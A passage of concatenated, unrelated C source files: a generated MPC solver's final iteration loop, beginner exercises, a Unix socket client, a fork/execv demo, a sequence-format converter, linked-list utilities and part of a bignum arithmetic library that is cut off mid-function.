controlMPC_dvcc22, controlMPC_grad_eq23); controlMPC_LA_VSUB_48(controlMPC_rd, controlMPC_grad_eq, controlMPC_rd); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi00, controlMPC_rd00, controlMPC_dzcc00); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi01, controlMPC_rd01, controlMPC_dzcc01); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi02, controlMPC_rd02, controlMPC_dzcc02); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi03, controlMPC_rd03, controlMPC_dzcc03); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi04, controlMPC_rd04, controlMPC_dzcc04); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi05, controlMPC_rd05, controlMPC_dzcc05); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi06, controlMPC_rd06, controlMPC_dzcc06); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi07, controlMPC_rd07, controlMPC_dzcc07); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi08, controlMPC_rd08, controlMPC_dzcc08); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi09, controlMPC_rd09, controlMPC_dzcc09); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi10, controlMPC_rd10, controlMPC_dzcc10); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi11, controlMPC_rd11, controlMPC_dzcc11); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi12, controlMPC_rd12, controlMPC_dzcc12); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi13, controlMPC_rd13, controlMPC_dzcc13); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi14, controlMPC_rd14, controlMPC_dzcc14); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi15, controlMPC_rd15, controlMPC_dzcc15); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi16, controlMPC_rd16, controlMPC_dzcc16); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi17, controlMPC_rd17, controlMPC_dzcc17); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi18, controlMPC_rd18, controlMPC_dzcc18); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi19, controlMPC_rd19, controlMPC_dzcc19); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi20, controlMPC_rd20, controlMPC_dzcc20); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi21, controlMPC_rd21, controlMPC_dzcc21); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi22, controlMPC_rd22, controlMPC_dzcc22); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi23, controlMPC_rd23, controlMPC_dzcc23); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl00, controlMPC_slb00, controlMPC_llbbyslb00, controlMPC_dzcc00, controlMPC_lbIdx00, controlMPC_dllbcc00); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub00, controlMPC_sub00, controlMPC_lubbysub00, controlMPC_dzcc00, controlMPC_ubIdx00, controlMPC_dlubcc00); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl01, controlMPC_slb01, controlMPC_llbbyslb01, controlMPC_dzcc01, controlMPC_lbIdx01, controlMPC_dllbcc01); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub01, controlMPC_sub01, controlMPC_lubbysub01, controlMPC_dzcc01, controlMPC_ubIdx01, controlMPC_dlubcc01); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl02, controlMPC_slb02, controlMPC_llbbyslb02, controlMPC_dzcc02, controlMPC_lbIdx02, controlMPC_dllbcc02); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub02, controlMPC_sub02, controlMPC_lubbysub02, controlMPC_dzcc02, controlMPC_ubIdx02, controlMPC_dlubcc02); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl03, controlMPC_slb03, controlMPC_llbbyslb03, controlMPC_dzcc03, controlMPC_lbIdx03, controlMPC_dllbcc03); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub03, controlMPC_sub03, controlMPC_lubbysub03, controlMPC_dzcc03, controlMPC_ubIdx03, controlMPC_dlubcc03); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl04, controlMPC_slb04, controlMPC_llbbyslb04, controlMPC_dzcc04, controlMPC_lbIdx04, controlMPC_dllbcc04); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub04, controlMPC_sub04, controlMPC_lubbysub04, controlMPC_dzcc04, controlMPC_ubIdx04, controlMPC_dlubcc04); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl05, controlMPC_slb05, controlMPC_llbbyslb05, controlMPC_dzcc05, controlMPC_lbIdx05, controlMPC_dllbcc05); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub05, controlMPC_sub05, controlMPC_lubbysub05, controlMPC_dzcc05, controlMPC_ubIdx05, controlMPC_dlubcc05); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl06, controlMPC_slb06, controlMPC_llbbyslb06, controlMPC_dzcc06, controlMPC_lbIdx06, controlMPC_dllbcc06); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub06, controlMPC_sub06, controlMPC_lubbysub06, controlMPC_dzcc06, controlMPC_ubIdx06, controlMPC_dlubcc06); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl07, controlMPC_slb07, controlMPC_llbbyslb07, controlMPC_dzcc07, controlMPC_lbIdx07, controlMPC_dllbcc07); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub07, controlMPC_sub07, controlMPC_lubbysub07, controlMPC_dzcc07, controlMPC_ubIdx07, controlMPC_dlubcc07); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl08, controlMPC_slb08, controlMPC_llbbyslb08, controlMPC_dzcc08, controlMPC_lbIdx08, controlMPC_dllbcc08); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub08, controlMPC_sub08, controlMPC_lubbysub08, controlMPC_dzcc08, controlMPC_ubIdx08, controlMPC_dlubcc08); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl09, controlMPC_slb09, controlMPC_llbbyslb09, controlMPC_dzcc09, controlMPC_lbIdx09, controlMPC_dllbcc09); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub09, controlMPC_sub09, controlMPC_lubbysub09, controlMPC_dzcc09, controlMPC_ubIdx09, controlMPC_dlubcc09); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl10, controlMPC_slb10, controlMPC_llbbyslb10, controlMPC_dzcc10, controlMPC_lbIdx10, controlMPC_dllbcc10); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub10, controlMPC_sub10, controlMPC_lubbysub10, controlMPC_dzcc10, controlMPC_ubIdx10, controlMPC_dlubcc10); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl11, controlMPC_slb11, controlMPC_llbbyslb11, controlMPC_dzcc11, controlMPC_lbIdx11, controlMPC_dllbcc11); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub11, controlMPC_sub11, controlMPC_lubbysub11, controlMPC_dzcc11, controlMPC_ubIdx11, controlMPC_dlubcc11); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl12, controlMPC_slb12, controlMPC_llbbyslb12, controlMPC_dzcc12, controlMPC_lbIdx12, controlMPC_dllbcc12); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub12, controlMPC_sub12, controlMPC_lubbysub12, controlMPC_dzcc12, controlMPC_ubIdx12, controlMPC_dlubcc12); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl13, controlMPC_slb13, controlMPC_llbbyslb13, controlMPC_dzcc13, controlMPC_lbIdx13, controlMPC_dllbcc13); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub13, controlMPC_sub13, controlMPC_lubbysub13, controlMPC_dzcc13, controlMPC_ubIdx13, controlMPC_dlubcc13); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl14, controlMPC_slb14, controlMPC_llbbyslb14, controlMPC_dzcc14, controlMPC_lbIdx14, controlMPC_dllbcc14); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub14, controlMPC_sub14, controlMPC_lubbysub14, controlMPC_dzcc14, controlMPC_ubIdx14, controlMPC_dlubcc14); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl15, controlMPC_slb15, controlMPC_llbbyslb15, controlMPC_dzcc15, controlMPC_lbIdx15, controlMPC_dllbcc15); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub15, controlMPC_sub15, controlMPC_lubbysub15, controlMPC_dzcc15, controlMPC_ubIdx15, controlMPC_dlubcc15); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl16, controlMPC_slb16, controlMPC_llbbyslb16, controlMPC_dzcc16, controlMPC_lbIdx16, controlMPC_dllbcc16); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub16, controlMPC_sub16, controlMPC_lubbysub16, controlMPC_dzcc16, controlMPC_ubIdx16, controlMPC_dlubcc16); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl17, controlMPC_slb17, controlMPC_llbbyslb17, controlMPC_dzcc17, controlMPC_lbIdx17, controlMPC_dllbcc17); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub17, controlMPC_sub17, controlMPC_lubbysub17, controlMPC_dzcc17, controlMPC_ubIdx17, controlMPC_dlubcc17); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl18, controlMPC_slb18, controlMPC_llbbyslb18, controlMPC_dzcc18, controlMPC_lbIdx18, controlMPC_dllbcc18); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub18, controlMPC_sub18, controlMPC_lubbysub18, controlMPC_dzcc18, controlMPC_ubIdx18, controlMPC_dlubcc18); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl19, controlMPC_slb19, controlMPC_llbbyslb19, controlMPC_dzcc19, controlMPC_lbIdx19, controlMPC_dllbcc19); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub19, controlMPC_sub19, controlMPC_lubbysub19, controlMPC_dzcc19, controlMPC_ubIdx19, controlMPC_dlubcc19); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl20, controlMPC_slb20, controlMPC_llbbyslb20, controlMPC_dzcc20, controlMPC_lbIdx20, controlMPC_dllbcc20); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub20, controlMPC_sub20, controlMPC_lubbysub20, controlMPC_dzcc20, controlMPC_ubIdx20, controlMPC_dlubcc20); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl21, controlMPC_slb21, controlMPC_llbbyslb21, controlMPC_dzcc21, controlMPC_lbIdx21, controlMPC_dllbcc21); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub21, controlMPC_sub21, controlMPC_lubbysub21, controlMPC_dzcc21, controlMPC_ubIdx21, controlMPC_dlubcc21); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl22, controlMPC_slb22, controlMPC_llbbyslb22, controlMPC_dzcc22, controlMPC_lbIdx22, controlMPC_dllbcc22); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub22, controlMPC_sub22, controlMPC_lubbysub22, controlMPC_dzcc22, controlMPC_ubIdx22, controlMPC_dlubcc22); controlMPC_LA_VEC_DIVSUB_MULTSUB_INDEXED_2(controlMPC_ccrhsl23, controlMPC_slb23, controlMPC_llbbyslb23, controlMPC_dzcc23, controlMPC_lbIdx23, controlMPC_dllbcc23); controlMPC_LA_VEC_DIVSUB_MULTADD_INDEXED_2(controlMPC_ccrhsub23, controlMPC_sub23, controlMPC_lubbysub23, controlMPC_dzcc23, controlMPC_ubIdx23, controlMPC_dlubcc23); controlMPC_LA_VSUB7_96(controlMPC_l, controlMPC_ccrhs, controlMPC_s, controlMPC_dl_cc, controlMPC_ds_cc); controlMPC_LA_VADD_48(controlMPC_dz_cc, controlMPC_dz_aff); controlMPC_LA_VADD_46(controlMPC_dv_cc, controlMPC_dv_aff); controlMPC_LA_VADD_96(controlMPC_dl_cc, controlMPC_dl_aff); controlMPC_LA_VADD_96(controlMPC_ds_cc, controlMPC_ds_aff); info->lsit_cc = controlMPC_LINESEARCH_BACKTRACKING_COMBINED(controlMPC_z, controlMPC_v, controlMPC_l, controlMPC_s, controlMPC_dz_cc, controlMPC_dv_cc, controlMPC_dl_cc, controlMPC_ds_cc, &info->step_cc, &info->mu); if( info->lsit_cc == controlMPC_NOPROGRESS ){ exitcode = controlMPC_NOPROGRESS; break; } info->it++; } output->z1[0] = controlMPC_z00[0]; output->z1[1] = controlMPC_z00[1]; output->z2[0] = controlMPC_z01[0]; output->z2[1] = controlMPC_z01[1]; output->z3[0] = controlMPC_z02[0]; output->z3[1] = controlMPC_z02[1]; output->z4[0] = controlMPC_z03[0]; output->z4[1] = controlMPC_z03[1]; output->z5[0] = controlMPC_z04[0]; output->z5[1] = controlMPC_z04[1]; output->z6[0] = controlMPC_z05[0]; output->z6[1] = controlMPC_z05[1]; output->z7[0] = controlMPC_z06[0]; output->z7[1] = controlMPC_z06[1]; output->z8[0] = controlMPC_z07[0]; output->z8[1] = controlMPC_z07[1]; output->z9[0] = controlMPC_z08[0]; output->z9[1] = controlMPC_z08[1]; output->z10[0] = controlMPC_z09[0]; output->z10[1] = controlMPC_z09[1]; output->z11[0] = controlMPC_z10[0]; output->z11[1] = controlMPC_z10[1]; output->z12[0] = controlMPC_z11[0]; output->z12[1] = controlMPC_z11[1]; output->z13[0] = controlMPC_z12[0]; output->z13[1] = controlMPC_z12[1]; output->z14[0] = controlMPC_z13[0]; output->z14[1] = controlMPC_z13[1]; output->z15[0] = controlMPC_z14[0]; output->z15[1] = controlMPC_z14[1]; output->z16[0] = controlMPC_z15[0]; output->z16[1] = controlMPC_z15[1]; output->z17[0] = controlMPC_z16[0]; output->z17[1] = controlMPC_z16[1]; output->z18[0] = controlMPC_z17[0]; output->z18[1] = controlMPC_z17[1]; output->z19[0] = controlMPC_z18[0]; output->z19[1] = controlMPC_z18[1]; output->z20[0] = controlMPC_z19[0]; output->z20[1] = controlMPC_z19[1]; output->z21[0] = controlMPC_z20[0]; output->z21[1] = controlMPC_z20[1]; output->z22[0] = controlMPC_z21[0]; output->z22[1] = controlMPC_z21[1]; output->z23[0] = controlMPC_z22[0]; output->z23[1] = controlMPC_z22[1]; output->z24[0] = controlMPC_z23[0]; output->z24[1] = controlMPC_z23[1]; #if controlMPC_SET_TIMING == 1 info->solvetime = controlMPC_toc(&solvertimer); #if controlMPC_SET_PRINTLEVEL > 0 && controlMPC_SET_TIMING == 1 if( info->it > 1 ){ PRINTTEXT("Solve time: %5.3f ms (%d iterations)\n\n", info->solvetime*1000, info->it); } else { PRINTTEXT("Solve time: %5.3f ms (%d iteration)\n\n", info->solvetime*1000, info->it); } #endif #else info->solvetime = -1; #endif return exitcode; }
C
#define _CRT_SECURE_NO_WARNINGS 1 include<stdio.h> int main() { int i; for (i = 1; i <= 100; i++) { if (i % 2 != 0) { printf("%d ", i); } } return 0; }
C
#include "Normalization.h" /* normalizeMatrix * Desc. : Function to shift elements in the array from 0 to 255 to -128 to 127 * * Input * inputMatrix : Input 2D array/matrix. * */ void normalizeMatrix(int size, float inputMatrix[][size]){ int i, j; for(i = 0; i < size; i++){ for(j = 0; j < size; j++){ inputMatrix[i][j] -= 128; } } } /* denormalizeMatrix * Desc. : Function to shift elements in the array from -128 to 127 to 0 to 255 * * Input * inputMatrix : Input 2D array/matrix. * */ void denormalizeMatrix(int size, float inputMatrix[][size]){ int i, j; for(i = 0; i < size; i++){ for(j = 0; j < size; j++){ inputMatrix[i][j] += 128; } } }
C
#include "../inc/header.h" int main(int argc, char *argv[]) { if (argc != 2) { mx_printerr("usage: ./read_file [file_path]\n"); return 0; } int fd = open(argv[1], O_RDONLY); if (fd < 0) { mx_printerr("error\n"); return 0; } char c; while(read(fd, &c, 1) > 0) write(1, &c, 1); if (close(fd) < 0) { mx_printerr("error\n"); return 0; } return 0; }
C
#include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <stdio.h> #include <stdlib.h> #define NAME "socket" main(){ int client_socket; int a; int len; struct sockaddr_un to; char message[] = "This is message from the client"; // socket create client_socket = socket(PF_UNIX, SOCK_DGRAM, 0); //set destiny address to.sun_family = PF_UNIX; strcpy(to.sun_path, NAME); sendto(client_socket, message, strlen(message), 0, (struct sockaddr*)&to, sizeof(struct sockaddr_un)); close(client_socket); }
C
#include <stdio.h> #include <locale.h> int fatorial(int); int main (void) { setlocale(LC_ALL,""); int numero; printf("\t\t<<<<<PROGAMA QUE RESOLVE UM FATORIAL DE UM NMERO>>>>>"); printf("\nInsira o valor de um nmero a ser fatorado: "); scanf("%d", &numero); printf("\nFatorial: %d", fatorial(numero)); return 0; } int fatorial(int num) { if(num <= 1) return 1; else printf("\n%d", num * fatorial(num - 1)); return (num * fatorial(num - 1)); }
C
#include<iostream> using namespace std; int main() { int age; cout<<"Enter age:"; cin>>age; if(age>=18) cout<<"\nYou are eligible for voting"; else cout<<"\nYou are not eligible for voting"; return 0; }
C
/* File: seqconvert.c * Author: Richard Durbin ([email protected]) * Copyright (C) Richard Durbin, Cambridge University, 2019 *------------------------------------------------------------------- * Description: utility to convert between sequence formats * Exported functions: * HISTORY: * Last edited: Jun 20 13:10 2020 (rd109) * Created: Sun Feb 17 10:23:37 2019 (rd109) *------------------------------------------------------------------- */ #include "seqio.h" int main (int argc, char *argv[]) { storeCommandLine (argc, argv) ; --argc ; ++argv ; timeUpdate (stderr) ; if (!argc || !strcmp(*argv,"-h") || !strcmp(*argv,"--help")) { fprintf (stderr, "Usage: seqconvert [-fa|fq|b|1] [-Q T] [-z] [-S] [-o outfile] [infile]\n") ; fprintf (stderr, " .gz ending outfile name implies gzip compression\n") ; fprintf (stderr, " -fa output as fasta, -fq as fastq, -b as binary, -1 as ONEcode\n") ; fprintf (stderr, " else .fa or .fq in outfile name imply fasta, fastq else binary\n") ; fprintf (stderr, " -Q sets the quality threshold for single bit quals in -b option [0]\n") ; fprintf (stderr, " -S silent - else it reports to stderr on what it is doing\n") ; fprintf (stderr, " NB gzip is not compatible with binary\n") ; fprintf (stderr, " if no infile then use stdin\n") ; fprintf (stderr, " if no -o option then use stdout and -z implies gzip\n"); exit (0) ; } SeqIOtype type = UNKNOWN ; bool isVerbose = true ; bool isGzip = false ; char *inFileName = "-" ; char *outFileName = "-z" ; int qualThresh = 0 ; while (argc) { if (!strcmp (*argv, "-fa")) type = FASTA ; else if (!strcmp (*argv, "-fq")) type = FASTQ ; else if (!strcmp (*argv, "-b")) type = BINARY ; else if (!strcmp (*argv, "-1")) type = ONE ; else if (!strcmp (*argv, "-Q") && argc >1) { --argc ; ++argv ; qualThresh = atoi (*argv) ; } else if (!strcmp (*argv, "-z")) isGzip = true ; else if (!strcmp (*argv, "-o") && argc > 1) { --argc ; ++argv ; outFileName = *argv ; } else if (!strcmp (*argv, "-S")) isVerbose = false ; else if (argc == 1 && **argv != '-') inFileName = *argv ; else die ("unknown option %s - run without arguments for help\n", *argv) ; --argc ; ++argv ; } if (!strcmp(outFileName, "-z") && !isGzip) outFileName = "-" ; /* remove 'z' */ SeqIO *siOut = seqIOopenWrite (outFileName, type, 0, qualThresh) ; if (!siOut) die ("failed to open output file %s", outFileName) ; bool isQual = (siOut->type == BINARY && qualThresh > 0) || siOut->type == FASTQ || siOut->type == ONE ; SeqIO *siIn = seqIOopenRead (inFileName, 0, isQual) ; if (!siIn) die ("failed to open input file %s", inFileName) ; if (isVerbose) { fprintf (stderr, "reading from file type %s", seqIOtypeName[siIn->type]) ; if (siIn->type == BINARY) fprintf (stderr, " with %llu sequences totLen %llu", siIn->nSeq, siIn->totSeqLen) ; fprintf (stderr, "\n") ; } while (seqIOread (siIn)) seqIOwrite (siOut, siIn->idLen ? sqioId(siIn) : 0, siIn->descLen ? sqioDesc(siIn) : 0, siIn->seqLen, sqioSeq(siIn), siIn->isQual ? sqioQual(siIn) : 0) ; seqIOclose (siIn) ; seqIOclose (siOut) ; if (isVerbose) { fprintf (stderr, "written %lld sequences to file type %s, total length %lld, max length %lld\n", siOut->nSeq, seqIOtypeName[siOut->type], siOut->totSeqLen, siOut->maxSeqLen) ; timeTotal (stderr) ; } } /****************/
C
#include "push_swap.h" t_llist *make_list(t_arg *arg) { t_llist *list; t_node *node; list = init_list('a'); list->size = 0; while (arg) { append(list, ft_atoi(arg->str)); arg = arg->next; } return (list); } void add_node(t_llist *list, int value) { t_node *new_node; t_node *node; new_node = malloc(sizeof(t_node)); new_node->value = value; if (list->head == NULL) { list->head = new_node; list->tail = new_node; list->head->next = new_node; list->head->prev = new_node; list->tail->next = new_node; list->tail->prev = new_node; } else { new_node->next = list->head; list->head->prev = new_node; new_node->prev = list->tail; list->tail->next = new_node; list->head = new_node; } list->size++; } void append(t_llist *list, int value) { t_node *node; node = malloc(sizeof(t_node)); node->value = value; if (list->head == NULL) { list->head = node; list->tail = node; list->head->next = node; list->head->prev = node; list->tail->next = node; list->tail->prev = node; } else { list->tail->next = node; node->prev = list->tail; list->head->prev = node; node->next = list->head; list->tail = node; } list->size++; } int pop(t_llist *list) { int value; t_node *node; node = list->head; value = list->head->value; if (list->size != 1) { list->head->next->prev = list->tail; list->tail->next = list->head->next; list->head = list->head->next; free(node); } else { list->head = NULL; list->tail = NULL; } list->size--; return (value); } void print_list(t_llist *list) { t_node *node; int i; printf("Head: %-3d\nTail: %-3d\n", list->head->value, list->tail->value); i = 0; node = list->head; printf("=== up ===\n"); while (i < list->size) { printf("%d = %d\n", i, node->value); node = node->next; i++; } node = list->tail; i--; printf("=== down===\n"); while (i >= 0) { printf("%d = %d\n", i, node->value); node = node->prev; i--; } } void print_node(t_node *node, int size) { int i; printf("==== print node ====\n"); i = 0; while (i < size) { printf("%d ", node->value); node = node->next; i++; } printf("\n====================\n"); }
C
#include <stdio.h> #include <sys/types.h> #include <time.h> #include <unistd.h> int main() { pid_t pid = fork(); if (pid == 0) { //in child process // char cwd[100]; // if(getcwd(cwd, sizeof(cwd)) != NULL) // printf("Current working dir: %s\n", cwd); char * arg[] = {"./bin/an_ch2_1b", NULL}; execv(arg[0], arg); } else { //in parent process int times = 50; while(times--) { time_t t = time(NULL); struct tm * local; local = localtime(&t); printf("Those output come from parent, %s \n", asctime(local)); sleep(1); } } }
C
/* ** my_new_env.c for 42sh in /home/gicque_p/rendu/PSU_2013_42sh/source/my_env ** ** Made by Pierrick Gicquelais ** Login <[email protected]> ** ** Started on Mon May 12 10:11:23 2014 Pierrick Gicquelais ** Last update Sun May 18 22:24:23 2014 Antoine Plaskowski */ #include <stdlib.h> #include "my_env.h" #include "my_str.h" t_env *my_new_env(void) { t_env *env; if ((env = my_malloc(sizeof(t_env))) == NULL) return (NULL); env->prev = NULL; env->next = NULL; env->name = NULL; env->value = NULL; return (env); }
C
// // 直接插入排序 // // 思想:假设第一位为排好的数组,从数组中的第二位开始, // 找到合适的位置并直接插入之前排好序的数组中 // // 2019.6.20 czw // #include <stdio.h> // // 功能:直接插入排序 // 参数: // a,待排序的数据 // n,数组的个数 // void straightInsertionSort(int a[],int n) { // for(int i = 1; i <= n; i++) { // int j = i - 1; // int tmp = 0; // while(j > 0) { // if(a[j] >= a[j-1]) { // break; // } // if(a[j] < a[j-1] ) { // tmp = a[j]; // a[j] = a[j-1]; // a[j-1] = tmp; // } // j--; // } // } // int tmp; // for(int i = 1; i <= n; i++) { // for (int j = i-1; j > 0; j--) { // if(a[j] >= a[j-1]) { // break; // } // if(a[j] < a[j-1]) { // tmp = a[j]; // a[j] = a[j-1]; // a[j-1] =tmp; // } // } // } int tmp; for(int i = 1; i < n; i++) { int j = i - 1; tmp = a[i]; while(tmp < a[j] && j >=0 ) { a[j+1] = a[j]; j--; } a[j+1] = tmp; } } int main() { int n; printf("请输入想要排序的个数:\n"); scanf("%d",&n); printf("请依次输入%d个数\n",n); int a[n],i; for(i = 0; i < n ; i++) { scanf("%d",&a[i]); } printf("排序前的数据为:\n"); for(i = 0; i < n; i++) { printf("%d,",a[i]); } printf("\n"); straightInsertionSort(a,n); printf("排序后的数据为:\n"); for(i = 0; i < n; i++) { printf("%d,",a[i]); } printf("\n"); }
C
#include "nn.h" #define printf(...) /* Assigns a = b. */ void NN_Assign (a, b, digits) NN_DIGIT *a, *b; unsigned int digits; { if(digits) { do { *a++ = *b++; }while(--digits); } } /* Returns sign of a - b. */ int NN_Cmp (a, b, digits) NN_DIGIT *a, *b; unsigned int digits; { if(digits) { do { digits--; if(*(a+digits) > *(b+digits)) return(1); if(*(a+digits) < *(b+digits)) return(-1); }while(digits); } return (0); } /* Computes a = b * 2^c (i.e., shifts left c bits), returning carry. Requires c < NN_DIGIT_BITS. */ NN_DIGIT NN_LShift (a, b, c, digits) NN_DIGIT *a, *b; unsigned int c, digits; { NN_DIGIT temp, carry = 0; unsigned int t; if(c < NN_DIGIT_BITS) if(digits) { t = NN_DIGIT_BITS - c; do { temp = *b++; *a++ = (temp << c) | carry; carry = c ? (temp >> t) : 0; }while(--digits); } return (carry); } /* Computes a = c div 2^c (i.e., shifts right c bits), returning carry. Requires: c < NN_DIGIT_BITS. */ NN_DIGIT NN_RShift (a, b, c, digits) NN_DIGIT *a, *b; unsigned int c, digits; { NN_DIGIT temp, carry = 0; unsigned int t; if(c < NN_DIGIT_BITS) if(digits) { t = NN_DIGIT_BITS - c; do { digits--; temp = *(b+digits); *(a+digits) = (temp >> c) | carry; carry = c ? (temp << t) : 0; }while(digits); } return (carry); } /* Computes a = b - c. Returns borrow. Lengths: a[digits], b[digits], c[digits]. */ NN_DIGIT NN_Sub (a, b, c, digits) NN_DIGIT *a, *b, *c; unsigned int digits; { NN_DIGIT temp, borrow = 0; if(digits) do { if((temp = (*b++) - borrow) == MAX_NN_DIGIT) temp = MAX_NN_DIGIT - *c++; else if((temp -= *c) > (MAX_NN_DIGIT - *c++)) borrow = 1; else borrow = 0; *a++ = temp; }while(--digits); return(borrow); } /* Computes a * b, result stored in high and low. */ static void dmult( a, b, high, low) NN_DIGIT a, b; NN_DIGIT *high; NN_DIGIT *low; { NN_HALF_DIGIT al, ah, bl, bh; NN_DIGIT m1, m2, m, ml, mh, carry = 0; al = (NN_HALF_DIGIT)LOW_HALF(a); ah = (NN_HALF_DIGIT)HIGH_HALF(a); bl = (NN_HALF_DIGIT)LOW_HALF(b); bh = (NN_HALF_DIGIT)HIGH_HALF(b); *low = (NN_DIGIT) al*bl; *high = (NN_DIGIT) ah*bh; m1 = (NN_DIGIT) al*bh; m2 = (NN_DIGIT) ah*bl; m = m1 + m2; if(m < m1) carry = 1 << (NN_DIGIT_BITS / 2); ml = (m & MAX_NN_HALF_DIGIT) << (NN_DIGIT_BITS / 2); mh = m >> (NN_DIGIT_BITS / 2); *low += ml; if(*low < ml) carry++; *high += carry + mh; } static NN_DIGIT subdigitmult(a, b, c, d, digits) NN_DIGIT *a, *b, c, *d; unsigned int digits; { NN_DIGIT borrow, thigh, tlow; unsigned int i; borrow = 0; if(c != 0) { for(i = 0; i < digits; i++) { dmult(c, d[i], &thigh, &tlow); if((a[i] = b[i] - borrow) > (MAX_NN_DIGIT - borrow)) borrow = 1; else borrow = 0; if((a[i] -= tlow) > (MAX_NN_DIGIT - tlow)) borrow++; borrow += thigh; } } return (borrow); } void R_memset(output, value, len) POINTER output; /* output block */ int value; /* value */ unsigned int len; /* length of block */ { if(len != 0) { do { *output++ = (unsigned char)value; }while(--len != 0); } } /* Assigns a = 0. */ void NN_AssignZero (a, digits) NN_DIGIT *a; unsigned int digits; { if(digits) { do { *a++ = 0; }while(--digits); } } /* Returns the significant length of a in bits, where a is a digit. */ static unsigned int NN_DigitBits (a) NN_DIGIT a; { unsigned int i; for (i = 0; i < 